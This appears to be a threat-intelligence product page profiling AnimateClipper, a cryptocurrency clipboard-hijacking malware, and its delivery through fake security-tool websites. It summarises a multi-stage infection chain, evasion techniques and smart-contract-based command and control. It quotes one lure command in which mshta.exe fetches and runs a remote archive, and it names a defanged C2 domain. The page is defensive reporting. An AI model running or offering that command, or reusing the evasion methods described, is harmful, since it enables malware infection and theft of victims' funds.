AnimateClipper
AnimateClipper is a cryptocurrency clipper malware family that silently monitors the clipboard and replaces copied cryptocurrency wallet addresses with attacker-controlled addresses, enabling transaction hijacking across more than 20 blockchain ecosystems. Check Point Research identified it as one of the payloads delivered in a large-scale campaign using more than 100 fake websites impersonating trusted open-source and security tools such as Ghidra, dnSpy, SpiderFoot, and ILSpy. In that campaign, CloudFront-hosted JavaScript intercepted download clicks and routed victims through a gated Traffic Distribution System that filtered by factors including geography, browser, VPN/datacenter use, and likely researcher activity before delivering malware. AnimateClipper was specifically observed being delivered through a ClickFix-style lure that directed victims to run mshta.exe against a remote archive; the infection chain used obfuscated VBScript, PowerShell, a bundled Python environment, and in-memory shellcode execution before loading the final PE payload. The malware embeds attacker wallet addresses in the binary and swaps matching clipboard wallet strings without obvious user awareness. Check Point also reported that AnimateClipper resolved command-and-control by querying a smart contract via the BNB Smart Chain Testnet JSON-RPC endpoint; at the time of analysis, the contract response resolved to kr.hugo-lapp[.]co. Researchers observed inbound transactions to wallet addresses embedded in the sample dating back to 2025-07-12, indicating the operation had likely been active for an extended period.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
16 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 techniqueAttack chains specifically target users looking for such tools on search engines like Google, causing the bogus sites to be surfaced on top of the search results.
Initial Access
2 techniquesThe JavaScript loaded by these pages listens for the user’s first interaction and intercepts it before normal navigation can proceed. On Chrome it captures a mousedown event; on Firefox it uses a click event. It then generates a TDS runtime URL, redirects the user silently, and cancels the original navigation entirely.
Hackers are creating convincing fake websites that impersonate popular security tools to trick users into downloading malware.
Execution
4 techniquesDespite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.
Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes.
This file ... is a ZIP archive containing a bundled Python environment ... and a large heavily obfuscated Python script stored in node_modules.asar ... the actual Python-based launch stage that executes shellcode and hands off execution to the next payload
The page that imitates a Cloudflare verification screen and instructs the user to run: C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z
Persistence
1 techniqueThese pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
Privilege Escalation
1 techniqueStealth
6 techniquesSessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms... Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated.
Cybersecurity researchers have flagged a large-scale operation that impersonates open-source and freeware projects to funnel unsuspecting users through a Traffic Distribution System (TDS) and deliver malware families like Remus Stealer, AnimateClipper, and the SessionGate framework.
The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave.
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.
The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.
Collection
1 techniqueAnimateClipper silently monitors the clipboard and swaps copied wallet addresses with attacker-controlled ones, potentially redirecting real funds without the victim ever realizing it.
Command and Control
3 techniquesThe stealer polls the C2 using HTTP POST requests ... The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a 'download' button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
IOCs tracked for this family
30 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Clipboard-monitoring malware that replaces copied cryptocurrency wallet addresses with attacker-controlled addresses to divert funds.
A cryptocurrency clipper that replaces copied wallet addresses in the clipboard to hijack transactions across more than 20 blockchain ecosystems.
A cryptocurrency clipboard hijacker that monitors copied wallet addresses, identifies wallet formats locally, replaces them with attacker-controlled addresses, and communicates with C2 infrastructure resolved via a smart contract query on the BNB Smart Chain Testnet.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.